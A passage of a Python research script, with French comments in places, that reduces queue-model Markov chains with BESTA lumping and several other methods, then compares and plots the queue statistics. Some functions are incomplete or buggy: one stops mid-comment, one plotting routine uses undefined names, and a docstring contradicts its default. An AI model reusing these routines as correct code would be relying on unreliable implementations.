groups.append([i])\n for j in range(i+1, n):\n if np.linalg.norm(disks[i] - disks[j]) <= disks[i][1] + disks[j][1]:\n if j not in [group[-1] for group in groups]:\n groups[-1].append(j)\n \n # Construct the reduced transition probability matrix\n P_reduced = np.zeros((len(groups), len(groups)))\n for i, group_i in enumerate(groups):\n for j, group_j in enumerate(groups):\n for state_i in group_i:\n for state_j in group_j:\n P_reduced[i,j] += P[state_i,state_j]\n \n # Normalize the rows of the reduced transition probability matrix\n row_sums = P_reduced.sum(axis=1)\n P_reduced = P_reduced / row_sums[:,np.newaxis]\n \n return P_reduced\n\n@calculate_time\ndef pagerank_reduction(P, alpha=0.85, tol=1e-6, max_iter=10):\n \"\"\"\n Reduce a Markov chain using the PageRank reduction algorithm.\n\n Parameters:\n -----------\n P : array-like, shape=(n_states, n_states)\n Transition probability matrix of the original Markov chain.\n alpha : float, optional\n Damping factor (default=0.85).\n tol : float, optional\n Tolerance for convergence (default=1e-6).\n max_iter : int, optional\n Maximum number of iterations (default=1000).\n\n Returns:\n --------\n R : array-like, shape=(n_reduced, n_reduced)\n Transition probability matrix of the reduced Markov chain.\n \"\"\"\n n_states = P.shape[0]\n d = np.sum(P, axis=1)\n D_inv = np.diag(1 / d)\n Q = np.dot(D_inv, P)\n G = alpha * Q + (1 - alpha) * np.ones((n_states, n_states)) / n_states\n r = np.ones(n_states) / n_states\n for i in range(max_iter):\n r_new = np.dot(G, r)\n if np.linalg.norm(r_new - r, ord=1) < tol:\n break\n r = r_new\n mask = r > tol\n R = Q[mask][:, mask]\n return R\n\n@calculate_time\ndef partial_sum_reduction(P, tol=1e-5):\n \"\"\"\n Cette méthode utilise une approximation de la série géométrique pour calculer une matrice de transition réduite.\n \"\"\"\n n = P.shape[0]\n Q = np.zeros((n-1, n-1))\n for i in range(n-1):\n for j in range(n-1):\n if i == j:\n Q[i,j] = 1 - P[n-1,n-1]\n else:\n Q[i,j] = P[i,j] / (1 - P[n-1,n-1])\n return Q\n\ndef mm1_queue_stats(lambd, mu, c):\n \"\"\"Calcule les statistiques de la queue M/M/1\n \n Args:\n lambd (float): le taux d'arrivée moyen des clients\n mu (float): le taux de service moyen\n c (float): la capacité du système\n \n Returns:\n Tuple[float, float, float, float]: le temps d'attente moyen, le temps de service moyen, \n le taux de service et le taux d'abandon\n \"\"\"\n rho = lambd / mu # facteur de charge\n p0 = 1 - rho # probabilité d'état 0\n Lq = rho**2 / (1 - rho) # nombre moyen de clients dans la file d'attente\n Wq = Lq / lambd # temps moyen d'attente dans la file d'attente\n W = Wq + 1 / mu # temps moyen de service (attente +\n\ndef generate_transition_matrix(arrival_rate, service_rate, num_servers):\n # Calculate the arrival rate per server\n arrival_rate_per_server = arrival_rate / num_servers\n \n # Calculate the transition rates for each state\n transition_rates = np.zeros((num_servers + 1, num_servers + 1))\n for i in range(num_servers):\n transition_rates[i][i+1] = arrival_rate_per_server\n transition_rates[i+1][i] = min(i, num_servers - i) * service_rate\n transition_rates[i][i] = -(arrival_rate_per_server + (i * service_rate))\n \n # Calculate the diagonal elements of the transition matrix\n diagonal = np.abs(transition_rates).sum(axis=1)\n \n # Set the diagonal elements of the transition matrix\n transition_matrix = np.diag(diagonal)\n \n # Set the off-diagonal elements of the transition matrix\n for i in range(num_servers + 1):\n for j in range(num_servers + 1):\n if i != j:\n transition_matrix[i][j] = transition_rates[i][j]\n \n # Normalize the rows of the transition matrix\n row_sums = transition_matrix.sum(axis=1)\n transition_matrix = transition_matrix / row_sums[:, np.newaxis]\n \n return transition_matrix\n\ndef generate_transition_matrix2(arrival_rate, service_rate, num_servers):\n rho = arrival_rate / (num_servers * service_rate)\n p = np.zeros((num_servers+1, num_servers+1))\n p[0,0] = 1 - rho\n for i in range(1, num_servers+1):\n p[i,i-1] = rho * p[i-1,i-1] / i\n p[i,i] = 1 - sum(p[i,:-1])\n p[i,i+1:] = rho * p[i,i:-1] / (i+1)\n return p\n\ndef generate_complex_transition_matrix(n, k):\n # Créer une matrice n x n avec des valeurs aléatoires entre 0 et 1\n M = np.random.rand(n, n)\n \n # Définir les k entrées les plus grandes pour chaque ligne à 1, les autres à 0\n for i in range(n):\n top_k_indices = M[i, :].argsort()[-k:]\n M[i, :] = 0\n M[i, top_k_indices] = 1\n \n # Normaliser chaque ligne pour avoir une somme de 1\n for i in range(n):\n row_sum = M[i, :].sum()\n M[i, :] = M[i, :] / row_sum\n \n return M\n\ndef getStat3(queue_transition_matrix, arrival_rate, service_rate, num_servers):\n \n # Compute steady-state probabilities\n pi = np.linalg.solve(np.transpose(queue_transition_matrix) - np.eye(num_servers+1), np.zeros(num_servers+1) + 1)\n pi /= sum(pi)\n\n # Compute average waiting time, service time, service rate, and abandon rate\n avg_waiting_time = sum([i * pi[i] for i in range(1, num_servers+1)]) / (num_servers * service_rate - arrival_rate)\n avg_service_time = 1 / service_rate\n service_rate_effective = num_servers * service_rate * (1 - pi[0])\n abandon_rate = arrival_rate * pi[num_servers] / service_rate_effective\n\n print(\"Average waiting time: {:.2f}\".format(avg_waiting_time))\n print(\"Average service time: {:.2f}\".format(avg_service_time))\n print(\"Service rate: {:.2f}\".format(service_rate_effective))\n print(\"Abandon rate: {:.2f}\".format(abandon_rate))\n\n return (avg_waiting_time, avg_service_time, service_rate_effective, abandon_rate)\n\ndef plot1(X, normalized_QUEUE_WAITING_TIME_ORIGINAL,normalized_QUEUE_WAITING_TIME_BESTA,\n normalized_QUEUE_WAITING_TIME_M2,normalized_QUEUE_WAITING_TIME_M3,\n normalized_QUEUE_WAITING_TIME_M4,normalized_kl):\n \n # # Créer une figure avec deux sous-graphiques\n fig, (ax1, ax2, ax3, ax4, ax5) = plt.subplots(nrows=5, ncols=1)\n \n #ax1.plot(X,normalized_kl[0], label=\"KL\", marker=\"o\")\n ax1.plot(X,normalized_QUEUE_WAITING_TIME_ORIGINAL, label=\"Original\", marker=\".\")\n ax1.plot(X,normalized_QUEUE_WAITING_TIME_BESTA, label=\"Besta\", marker=\"1\")\n #ax1.plot(X,normalized_QUEUE_WAITING_TIME_M1, label=\"perron_frobenius\", marker=\"*\")\n ax1.plot(X,normalized_QUEUE_WAITING_TIME_M2, label=\"gerschgorin\", marker=\"o\")\n ax1.plot(X,normalized_QUEUE_WAITING_TIME_M3, label=\"partial_sum\", marker=\".\")\n ax1.plot(X,normalized_QUEUE_WAITING_TIME_M4, label=\"page_rank\", marker=\"*\")\n ax1.set_title(\"Average Waiting time\")\n ax1.tick_params(rotation=45)\n # show a legend on the plot\n #ax1.legend()\n ax1.grid()\n ax1.set_ylabel(\"Normalized Amplitude\")\n\n #ax2.plot(X,normalized_kl[0], label=\"KL\", marker=\"o\")\n ax2.plot(X,normalized_QUEUE_SERVICE_TIME_ORIGINAL, marker=\".\")\n ax2.plot(X,normalized_QUEUE_SERVICE_TIME_BESTA, marker=\"1\")\n #ax2.plot(X,normalized_QUEUE_SERVICE_TIME_M1[0], marker=\"*\")\n ax2.plot(X,normalized_QUEUE_SERVICE_TIME_M2, marker=\"o\")\n ax2.plot(X,normalized_QUEUE_SERVICE_TIME_M3, marker=\".\")\n ax2.plot(X,normalized_QUEUE_SERVICE_TIME_M4, marker=\"*\")\n ax2.set_title(\"Average Service time\")\n ax2.tick_params(rotation=45)\n # show a legend on the plot\n #ax2.legend()\n ax2.grid()\n ax2.set_ylabel(\"Normalized Amplitude\")\n\n #ax3.plot(X,normalized_kl[0], label=\"KL\", marker=\"o\")\n ax3.plot(X,normalized_QUEUE_SERVICE_RATE_ORIGINAL, marker=\".\")\n ax3.plot(X,normalized_QUEUE_SERVICE_RATE_BESTA, marker=\"1\")\n #ax3.plot(X,normalized_QUEUE_SERVICE_RATE_M1[0], marker=\"*\")\n ax3.plot(X,normalized_QUEUE_SERVICE_RATE_M2, marker=\"o\")\n ax3.plot(X,normalized_QUEUE_SERVICE_RATE_M3, marker=\".\")\n ax3.plot(X,normalized_QUEUE_SERVICE_RATE_M4, marker=\"*\")\n ax3.set_title(\"Service Rate\")\n ax3.tick_params(rotation=45)\n ax3.grid()\n ax3.set_ylabel(\"Normalized Amplitude\")\n\n #ax4.plot(X,normalized_kl[0], label=\"KL\", marker=\"o\")\n ax4.plot(X,normalized_QUEUE_ABANDON_RATE_ORIGINAL, marker=\".\")\n ax4.plot(X,normalized_QUEUE_ABANDON_RATE_BESTA, marker=\"1\")\n #ax4.plot(X,normalized_QUEUE_ABANDON_RATE_M1[0], marker=\"*\")\n ax4.plot(X,normalized_QUEUE_ABANDON_RATE_M2, marker=\"o\")\n ax4.plot(X,normalized_QUEUE_ABANDON_RATE_M3, marker=\".\")\n ax4.plot(X,normalized_QUEUE_ABANDON_RATE_M4, marker=\"*\")\n ax4.set_title(\"Abandon Rate\")\n ax4.tick_params(rotation=45)\n ax4.grid()\n ax4.set_ylabel(\"Normalized Amplitude\")\n\n ax5.plot(X,normalized_kl, label=\"KL\", marker=\"o\")\n ax5.set_title(\"KL\")\n ax5.tick_params(rotation=45)\n ax5.grid()\n ax5.set_ylabel(\"Normalized Amplitude\")\n\n # # Introduire un espace entre les subplots\n fig.subplots_adjust(hspace=0.5)\n\n fig.legend(loc='outside right')\n\n plt.plot()\n\n # function to show the plot\n plt.show()\n\ndef plot2(X,Y=[]):\n \n # Plot the data on each subplot\n # axes[0, 0].scatter(X, normalized_QUEUE_ABANDON_RATE_ORIGINAL[0], marker=\"o\", label=\"Original\")\n \n axes[0, 0].scatter(X, QUEUE_ABANDON_RATE_BESTA[0], marker=\"*\", label=\"BESTA\")\n axes[0, 0].scatter(X, QUEUE_ABANDON_RATE_M2[0], marker=\"h\", label=\"Gerschgorin\")\n axes[0, 0].scatter(X, QUEUE_ABANDON_RATE_M3[0], marker=\"D\", label = \"Partial Sum\")\n axes[0, 0].scatter(X, QUEUE_ABANDON_RATE_M4[0], marker=\"p\", label=\"Page Rank\")\n axes[0, 0].set_title(\"Abandon Rate\")\n axes[0, 0].tick_params(rotation=45)\n axes[0, 0].legend()\n\n # axes[0, 1].scatter(X, normalized_QUEUE_SERVICE_RATE_ORIGINAL[0], marker=\"o\", label=\"Original\")\n axes[0, 1].scatter(X, QUEUE_SERVICE_RATE_BESTA[0], marker=\"*\", label=\"BESTA\")\n axes[0, 1].scatter(X, QUEUE_SERVICE_RATE_M2[0], marker=\"h\", label=\"Gerschgorin\")\n axes[0, 1].scatter(X, QUEUE_SERVICE_RATE_M3[0], marker=\"D\", label = \"Partial Sum\")\n axes[0, 1].scatter(X, QUEUE_SERVICE_RATE_M4[0], marker=\"p\", label=\"Page Rank\")\n axes[0, 1].set_title(\"Service Rate\")\n axes[0, 1].tick_params(rotation=45)\n # axes[0, 1].legend()\n\n # axes[1, 0].scatter(X, normalized_QUEUE_SERVICE_TIME_ORIGINAL[0], marker=\"o\", label=\"Original\")\n axes[1, 0].scatter(X, QUEUE_SERVICE_TIME_BESTA[0], marker=\"*\", label=\"BESTA\")\n axes[1, 0].scatter(X, QUEUE_SERVICE_TIME_M2[0], marker=\"h\", label=\"Gerschgorin\")\n axes[1, 0].scatter(X, QUEUE_SERVICE_TIME_M3[0], marker=\"D\", label = \"Partial Sum\")\n axes[1, 0].scatter(X, QUEUE_SERVICE_TIME_M4[0], marker=\"p\", label=\"Page Rank\")\n axes[1, 0].set_title(\"Service Time\")\n axes[1, 0].tick_params(rotation=45)\n # axes[1, 0].legend()\n\n # axes[1, 1].scatter(X, normalized_QUEUE_WAITING_TIME_ORIGINAL[0], marker=\"o\", label=\"Original\")\n axes[1, 1].scatter(X, QUEUE_WAITING_TIME_BESTA[0], marker=\"*\", label=\"BESTA\")\n axes[1, 1].scatter(X, QUEUE_WAITING_TIME_M2[0], marker=\"h\", label=\"Gerschgorin\")\n axes[1, 1].scatter(X, QUEUE_WAITING_TIME_M3[0], marker=\"D\", label = \"Partial Sum\")\n axes[1, 1].scatter(X, QUEUE_WAITING_TIME_M4[0], marker=\"p\", label=\"Page Rank\")\n axes[1, 1].set_title(\"Waiting Time\")\n axes[1, 1].tick_params(rotation=45)\n # axes[1, 1].legend()\n\n plt.ylabel(\"Normalized Amplitude\")\n #plt.vlines(range(0,10), ymin=-1, ymax=1, colors='gray', linestyles='dashed')\n\n # Adjust the spacing between subplots\n fig.subplots_adjust(hspace=0.3, wspace=0.3)\n\n # function to show the plot\n plt.show()\n\n return transition_matrix\n\nif __name__ == '__main__':\n \"\"\" to use : python fig10.py 19 40 20\n \"\"\"\n from Queue import Queue\n\n # for Windows support of tqdm\n if platform == \"win32\":\n freeze_support()\n\n ### size of queue\n try:\n n = sys.argv[1]\n sr = sys.argv[2]\n ar = sys.argv[3]\n except:\n sys.exit()\n else:\n \n num_servers = int(n)\n service_rate = float(sr)\n arrival_rate = float(ar)\n \n # Le temps moyen d'attente dans la file d'attente\n #mean_waiting_time = (1 / (service_rate - arrival_rate)) * (1 - (num_servers * (arrival_rate / service_rate))**num_servers * (1 - (arrival_rate / service_rate))**(num_servers + 1))\n\n # facteur de charge \n #rho = arrival_rate / (num_servers * service_rate)\n\n #queue_transition_matrix = generate_mm1_queue_chain(arrival_rate,service_rate,num_servers)\n \n queue_transition_matrix= generate_queue_markov_chain(arrival_rate,service_rate,num_servers)\n\n # queue_transition_matrix= generate_transition_matrix2(arrival_rate,service_rate,num_servers)\n\n methods = { #'perron_frobenius':perron_frobenius_reduction2, \n 'gerschgorin':gerschgorin_reduction, \n #'GTH':gth_reduction,\n 'partial_sum':partial_sum_reduction,\n 'chain_indexing':markov_chain_indexing_method}\n # 'page_rank':pagerank_reduction}\n\n ### get queue stat\n print(\"---------------------- original constants\")\n avg_waiting_time,avg_service_time,service_rate,abandon_rate = getStat3(queue_transition_matrix, arrival_rate, service_rate, num_servers)\n QUEUE_WAITING_TIME_ORIGINAL = [avg_waiting_time]\n QUEUE_SERVICE_TIME_ORIGINAL = [avg_service_time]\n QUEUE_SERVICE_RATE_ORIGINAL = [service_rate]\n QUEUE_ABANDON_RATE_ORIGINAL = [abandon_rate]\n\n #exit()\n\n ### first lumping with BESTA\n P = pykov.Chain()\n for i,row in enumerate(queue_transition_matrix):\n for j,val in enumerate(row):\n P[(str(i),str(j))]=val\n \n S = tuple(sorted(list(P.states())))\n \n\n # starting time\n start1 = time.time()\n p,Q = next(getMFTPAnalysis3(S,P))\n # ending time\n end1 = time.time()\n # total time taken\n print(f\"Function BESTA took {(end1 - start1):.5f} seconds to run.\")\n \n n = len(S)\n \n A = chainToNPArray(Q)\n\n ### get queue stat\n print(f\"---------------------------------------------------------- {n}x{n}\")\n print(\"---------------------------------------- BESTA\")\n avg_waiting_time,avg_service_time,service_rate,abandon_rate = getStat3(A, arrival_rate, service_rate, num_servers-1)\n QUEUE_WAITING_TIME_BESTA = [avg_waiting_time]\n QUEUE_SERVICE_TIME_BESTA = [avg_service_time]\n QUEUE_SERVICE_RATE_BESTA = [service_rate]\n QUEUE_ABANDON_RATE_BESTA = [abandon_rate]\n\n for k,v in methods.items():\n print(f\"---------------------- {k}\\n\")\n awt,ast,sr,ar = getStat(v(A),True)\n \n if awt < 0: awt = 0\n if ast < 0: ast = 0\n if sr < 0: sr = 0\n if ar < 0 : ar = 0\n \n if k == \"perron_frobenius\":\n QUEUE_WAITING_TIME_M1 = [awt]\n QUEUE_SERVICE_TIME_M1 = [ast]\n QUEUE_SERVICE_RATE_M1 = [sr]\n QUEUE_ABANDON_RATE_M1 = [ar]\n elif k == \"gerschgorin\":\n QUEUE_WAITING_TIME_M2 = [awt]\n QUEUE_SERVICE_TIME_M2 = [ast]\n QUEUE_SERVICE_RATE_M2 = [sr]\n QUEUE_ABANDON_RATE_M2 = [ar]\n elif k == \"partial_sum\":\n QUEUE_WAITING_TIME_M3 = [awt]\n QUEUE_SERVICE_TIME_M3 = [ast]\n QUEUE_SERVICE_RATE_M3 = [sr]\n QUEUE_ABANDON_RATE_M3 = [ar]\n elif k == \"page_rank\":\n QUEUE_WAITING_TIME_M4 = [awt]\n QUEUE_SERVICE_TIME_M4 = [ast]\n QUEUE_SERVICE_RATE_M4 = [sr]\n QUEUE_ABANDON_RATE_M4 = [ar]\n elif k == \"chain_indexing\":\n QUEUE_WAITING_TIME_M5 = [awt]\n QUEUE_SERVICE_TIME_M5 = [ast]\n QUEUE_SERVICE_RATE_M5 = [sr]\n QUEUE_ABANDON_RATE_M5 = [ar]\n else:\n exit()\n \n if PLOT:\n X = [n]\n\n ### condition for table 2\n cond = \"n>2\"\n\n ### condition for table3\n # kl=new_kl=diff=0.0\n # cond = \"new_kl <= kl*(1+0.5) or kl==0.0\"\n\n ### condition for table4\n # service_rate = 0.0\n # cond = \"abs(service_rate)-QUEUE_SERVICE_RATE_ORIGINAL[0]) > abs(QUEUE_SERVICE_RATE_ORIGINAL[0])*(1+0.1) or service_rate==0.0\"\n\n n = len(A)\n\n ### stopping condition\n while(eval(cond)):\n \n # starting time\n start2 = time.time()\n\n ### P must be ergotic i.e. the transition matrix must be irreducible and acyclic. \n G = nx.DiGraph(list(P.keys()), directed=True)\n nx.strongly_connected_components(G)\n assert nx.is_strongly_connected(G) and nx.is_aperiodic(G), f\"Matrix is not ergotic!\"\n \n ### just for stdout\n d = trace(n,0.0,p)\n \n ### P transition matrix of the Markoc chain to lump\n P = pykov.Chain()\n for k,v in Q.items():\n P[(d[k[0]],d[k[1]])] = v\n\n A = chainToNPArray(P)\n ### get queue stat\n print(\"---------------------- BESTA\")\n avg_waiting_time,avg_service_time,service_rate,abandon_rate = getStat(A, True)\n \n print(abs(service_rate), abs(QUEUE_SERVICE_RATE_ORIGINAL[0]),abs(QUEUE_SERVICE_RATE_ORIGINAL[0])*(1+0.1))\n\n QUEUE_WAITING_TIME_BESTA.append(avg_waiting_time)\n QUEUE_SERVICE_TIME_BESTA.append(avg_service_time)\n QUEUE_SERVICE_RATE_BESTA.append(service_rate)\n QUEUE_ABANDON_RATE_BESTA.append(abandon_rate)\n\n for k,v in methods.items():\n print(f\"---------------------- {k}\\n\")\n awt,ast,sr,ar = getStat(v(A),True)\n \n if awt < 0: awt = 0\n if ast < 0: ast = 0\n if sr < 0: sr = 0\n if ar < 0 : ar = 0\n\n if k == \"perron_frobenius\":\n QUEUE_WAITING_TIME_M1.append(awt)\n QUEUE_SERVICE_TIME_M1.append(ast)\n QUEUE_SERVICE_RATE_M1.append(sr)\n QUEUE_ABANDON_RATE_M1.append(ar)\n elif k == \"gerschgorin\":\n QUEUE_WAITING_TIME_M2.append(awt)\n QUEUE_SERVICE_TIME_M2.append(ast)\n QUEUE_SERVICE_RATE_M2.append(sr)\n QUEUE_ABANDON_RATE_M2.append(ar)\n elif k == \"partial_sum\":\n QUEUE_WAITING_TIME_M3.append(awt)\n QUEUE_SERVICE_TIME_M3.append(ast)\n QUEUE_SERVICE_RATE_M3.append(sr)\n QUEUE_ABANDON_RATE_M3.append(ar)\n elif k == \"page_rank\":\n QUEUE_WAITING_TIME_M4.append(awt)\n QUEUE_SERVICE_TIME_M4.append(ast)\n QUEUE_SERVICE_RATE_M4.append(sr)\n QUEUE_ABANDON_RATE_M4.append(ar)\n elif k == \"chain_indexing\":\n QUEUE_WAITING_TIME_M5.append(awt)\n QUEUE_SERVICE_TIME_M5.append(ast)\n QUEUE_SERVICE_RATE_M5.append(sr)\n QUEUE_ABANDON_RATE_M5.append(ar)\n else:\n exit()\n \n ### set of states\n S = tuple(sorted(P.states()))\n\n ### mfpt analisys (REDUCED function that call FOP)\n p,Q = next(getMFTPAnalysis3(S,P))\n\n ### update variables\n n = len(S)\n\n if PLOT:\n X.append(n)\n \n\n if WRITE_FILE:\n fn = os.path.join(os.pardir,'Matrix',f\"{n}x{n}.dat\")\n if os.path.exists(fn):\n os.remove(fn)\n f = open(fn,'w')\n for k,v in dict(P).items():\n f.write(f\"{k[0]} {k[1]} {v} \\n\")\n f.close()\n \n ### just for stdout\n # trace(n,kl,p)\n A = chainToNPArray(P)\n \n if PLOT:\n X = list(map(lambda a : f\"{a} x {a}\", map(str,X)))\n\n QUEUE_WAITING_TIME_ORIGINAL = QUEUE_WAITING_TIME_ORIGINAL*len(X)\n QUEUE_SERVICE_TIME_ORIGINAL = QUEUE_SERVICE_TIME_ORIGINAL*len(X)\n QUEUE_SERVICE_RATE_ORIGINAL = QUEUE_SERVICE_RATE_ORIGINAL*len(X)\n QUEUE_ABANDON_RATE_ORIGINAL = QUEUE_ABANDON_RATE_ORIGINAL*len(X)\n\n normalized_QUEUE_WAITING_TIME_ORIGINAL = list(map(lambda a: a/max(QUEUE_WAITING_TIME_ORIGINAL), QUEUE_WAITING_TIME_ORIGINAL)) #preprocessing.normalize([QUEUE_WAITING_TIME_ORIGINAL])\n normalized_QUEUE_WAITING_TIME_BESTA = list(map(lambda a: a/max(QUEUE_WAITING_TIME_BESTA), QUEUE_WAITING_TIME_BESTA))#preprocessing.normalize([QUEUE_WAITING_TIME_BESTA])\n normalized_QUEUE_SERVICE_TIME_ORIGINAL = list(map(lambda a: a/max(QUEUE_SERVICE_TIME_ORIGINAL), QUEUE_SERVICE_TIME_ORIGINAL))#preprocessing.normalize([QUEUE_SERVICE_TIME_ORIGINAL])\n normalized_QUEUE_SERVICE_TIME_BESTA = list(map(lambda a: a/max(QUEUE_SERVICE_TIME_BESTA), QUEUE_SERVICE_TIME_BESTA)) #preprocessing.normalize([QUEUE_SERVICE_TIME_BESTA])\n normalized_QUEUE_SERVICE_RATE_ORIGINAL = list(map(lambda a: a/max(QUEUE_SERVICE_RATE_ORIGINAL), QUEUE_SERVICE_RATE_ORIGINAL)) #preprocessing.normalize([QUEUE_SERVICE_RATE_ORIGINAL])\n normalized_QUEUE_SERVICE_RATE_BESTA = list(map(lambda a: a/max(QUEUE_SERVICE_RATE_BESTA), QUEUE_SERVICE_RATE_BESTA)) #preprocessing.normalize([QUEUE_SERVICE_RATE_BESTA])\n normalized_QUEUE_ABANDON_RATE_ORIGINAL = list(map(lambda a: a/max(QUEUE_ABANDON_RATE_ORIGINAL), QUEUE_ABANDON_RATE_ORIGINAL)) #preprocessing.normalize([QUEUE_ABANDON_RATE_ORIGINAL])\n normalized_QUEUE_ABANDON_RATE_BESTA = list(map(lambda a: a/max(QUEUE_ABANDON_RATE_BESTA), QUEUE_ABANDON_RATE_BESTA)) #preprocessing.normalize([QUEUE_ABANDON_RATE_BESTA])\n\n for k in methods:\n if k == \"perron_frobenius\":\n normalized_QUEUE_WAITING_TIME_M1 = list(map(lambda a: a/max(QUEUE_WAITING_TIME_M1), QUEUE_WAITING_TIME_M1)) #preprocessing.normalize([QUEUE_WAITING_TIME_M1])\n normalized_QUEUE_SERVICE_TIME_M1 = list(map(lambda a: a/max(QUEUE_SERVICE_TIME_M1), QUEUE_SERVICE_TIME_M1)) #preprocessing.normalize([QUEUE_SERVICE_TIME_M1])\n normalized_QUEUE_SERVICE_RATE_M1 = list(map(lambda a: a/max(QUEUE_SERVICE_RATE_M1), QUEUE_SERVICE_RATE_M1)) #preprocessing.normalize([QUEUE_SERVICE_RATE_M1])\n normalized_QUEUE_ABANDON_RATE_M1 = list(map(lambda a: a/max(QUEUE_ABANDON_RATE_M1), QUEUE_ABANDON_RATE_M1)) #preprocessing.normalize([QUEUE_ABANDON_RATE_M1])\n elif k == \"gerschgorin\":\n normalized_QUEUE_WAITING_TIME_M2 = list(map(lambda a: a/max(QUEUE_WAITING_TIME_M2), QUEUE_WAITING_TIME_M2)) #preprocessing.normalize([QUEUE_WAITING_TIME_M2])\n normalized_QUEUE_SERVICE_TIME_M2 = list(map(lambda a: a/max(QUEUE_SERVICE_TIME_M2), QUEUE_SERVICE_TIME_M2)) #preprocessing.normalize([QUEUE_SERVICE_TIME_M2])\n normalized_QUEUE_SERVICE_RATE_M2 = list(map(lambda a: a/max(QUEUE_SERVICE_RATE_M2), QUEUE_SERVICE_RATE_M2)) #preprocessing.normalize([QUEUE_SERVICE_RATE_M2])\n normalized_QUEUE_ABANDON_RATE_M2 = list(map(lambda a: a/max(QUEUE_ABANDON_RATE_M2), QUEUE_ABANDON_RATE_M2)) #preprocessing.normalize([QUEUE_ABANDON_RATE_M2])\n elif k == \"partial_sum\":\n normalized_QUEUE_WAITING_TIME_M3 = list(map(lambda a: a/max(QUEUE_WAITING_TIME_M3), QUEUE_WAITING_TIME_M3)) #preprocessing.normalize([QUEUE_WAITING_TIME_M3])\n normalized_QUEUE_SERVICE_TIME_M3 = list(map(lambda a: a/max(QUEUE_SERVICE_TIME_M3), QUEUE_SERVICE_TIME_M3))#preprocessing.normalize([QUEUE_SERVICE_TIME_M3])\n normalized_QUEUE_SERVICE_RATE_M3 = list(map(lambda a: a/max(QUEUE_SERVICE_RATE_M3), QUEUE_SERVICE_RATE_M3)) #preprocessing.normalize([QUEUE_SERVICE_RATE_M3])\n normalized_QUEUE_ABANDON_RATE_M3 = list(map(lambda a: a/max(QUEUE_ABANDON_RATE_M3), QUEUE_ABANDON_RATE_M3))#preprocessing.normalize([QUEUE_ABANDON_RATE_M3])\n elif k == \"page_rank\":\n normalized_QUEUE_WAITING_TIME_M4 = list(map(lambda a: a/max(QUEUE_WAITING_TIME_M4), QUEUE_WAITING_TIME_M4)) #preprocessing.normalize([QUEUE_WAITING_TIME_M4])\n normalized_QUEUE_SERVICE_TIME_M4 = list(map(lambda a: a/max(QUEUE_SERVICE_TIME_M4), QUEUE_SERVICE_TIME_M4))#preprocessing.normalize([QUEUE_SERVICE_TIME_M4])\n normalized_QUEUE_SERVICE_RATE_M4 = list(map(lambda a: a/max(QUEUE_SERVICE_RATE_M4), QUEUE_SERVICE_RATE_M4)) #preprocessing.normalize([QUEUE_SERVICE_RATE_M4])\n normalized_QUEUE_ABANDON_RATE_M4 = list(map(lambda a: a/max(QUEUE_ABANDON_RATE_M4), QUEUE_ABANDON_RATE_M4))#preprocessing.normalize([QUEUE_ABANDON_RATE_M4])\n elif k == \"chain_indexing\":\n normalized_QUEUE_WAITING_TIME_M5 = list(map(lambda a: a/max(QUEUE_WAITING_TIME_M5), QUEUE_WAITING_TIME_M5)) #preprocessing.normalize([QUEUE_WAITING_TIME_M5])\n normalized_QUEUE_SERVICE_TIME_M5 = list(map(lambda a: a/max(QUEUE_SERVICE_TIME_M5), QUEUE_SERVICE_TIME_M5))#preprocessing.normalize([QUEUE_SERVICE_TIME_M5])\n normalized_QUEUE_SERVICE_RATE_M5 = list(map(lambda a: a/max(QUEUE_SERVICE_RATE_M5), QUEUE_SERVICE_RATE_M5)) #preprocessing.normalize([QUEUE_SERVICE_RATE_M5])\n normalized_QUEUE_ABANDON_RATE_M5 = list(map(lambda a: a/max(QUEUE_ABANDON_RATE_M5), QUEUE_ABANDON_RATE_M5))#preprocessing.normalize([QUEUE_ABANDON_RATE_M5])\n else:\n pass\n\n fig, axes = plt.subplots(nrows=2, ncols=2, figsize=(10, 10))\n\n # Plot the data on each subplot\n axes[0, 0].plot(X, normalized_QUEUE_ABANDON_RATE_ORIGINAL, label=\"Original\")\n axes[0, 0].scatter(X, normalized_QUEUE_ABANDON_RATE_BESTA, marker=\"*\", label = \"BESTA\")\n axes[0, 0].scatter(X, normalized_QUEUE_ABANDON_RATE_M2, marker=\"h\", label = \"Gerschgorin\")\n axes[0, 0].scatter(X, normalized_QUEUE_ABANDON_RATE_M3, marker=\"D\", label = \"Partial Sum\")\n axes[0, 0].scatter(X, normalized_QUEUE_ABANDON_RATE_M5, marker=\"p\", label = \"Chain Indexing\")\n axes[0, 0].set_title(\"Abandon Rate\")\n axes[0, 0].tick_params(rotation=45)\n axes[0, 0].legend()\n axes[0, 0].set_ylabel(\"Normalized Amplitude\")\n axes[0, 0].grid(axis='x', color='#D3D3D3')\n\n axes[0, 1].plot(X, normalized_QUEUE_SERVICE_RATE_ORIGINAL, label=\"Original\")\n axes[0, 1].scatter(X, normalized_QUEUE_SERVICE_RATE_BESTA, marker=\"*\", label = \"BESTA\")\n axes[0, 1].scatter(X, normalized_QUEUE_SERVICE_RATE_M2, marker=\"h\", label = \"Gerschgorin\")\n axes[0, 1].scatter(X, normalized_QUEUE_SERVICE_RATE_M3, marker=\"D\", label = \"Partial Sum\")\n axes[0, 1].scatter(X, normalized_QUEUE_SERVICE_RATE_M5, marker=\"p\", label = \"Chain Indexing\")\n axes[0, 1].set_title(\"Service Rate\")\n axes[0, 1].tick_params(rotation=45)\n axes[0, 1].set_ylabel(\"Normalized Amplitude\")\n axes[0, 1].grid(axis='x', color='#D3D3D3')\n\n axes[1, 0].plot(X, normalized_QUEUE_SERVICE_TIME_ORIGINAL, label=\"Original\")\n axes[1, 0].scatter(X, normalized_QUEUE_SERVICE_TIME_BESTA, marker=\"*\", label = \"BESTA\")\n axes[1, 0].scatter(X, normalized_QUEUE_SERVICE_TIME_M2, marker=\"h\", label = \"Gerschgorin\")\n axes[1, 0].scatter(X, normalized_QUEUE_SERVICE_TIME_M3, marker=\"D\", label = \"Partial Sum\")\n axes[1, 0].scatter(X, normalized_QUEUE_SERVICE_TIME_M5, marker=\"p\", label = \"Chain Indexing\")\n axes[1, 0].set_title(\"Average Service Time\")\n axes[1, 0].tick_params(rotation=45)\n axes[1, 0].set_ylabel(\"Normalized Amplitude\")\n axes[1, 0].grid(axis='x', color='#D3D3D3')\n\n axes[1, 1].plot(X, normalized_QUEUE_WAITING_TIME_ORIGINAL, label=\"Original\")\n axes[1, 1].scatter(X, normalized_QUEUE_WAITING_TIME_BESTA, marker=\"*\", label = \"BESTA\")\n axes[1, 1].scatter(X, normalized_QUEUE_WAITING_TIME_M2, marker=\"h\", label = \"Gerschgorin\")\n axes[1, 1].scatter(X, normalized_QUEUE_WAITING_TIME_M3, marker=\"D\", label = \"Partial Sum\")\n axes[1, 1].scatter(X, normalized_QUEUE_WAITING_TIME_M5, 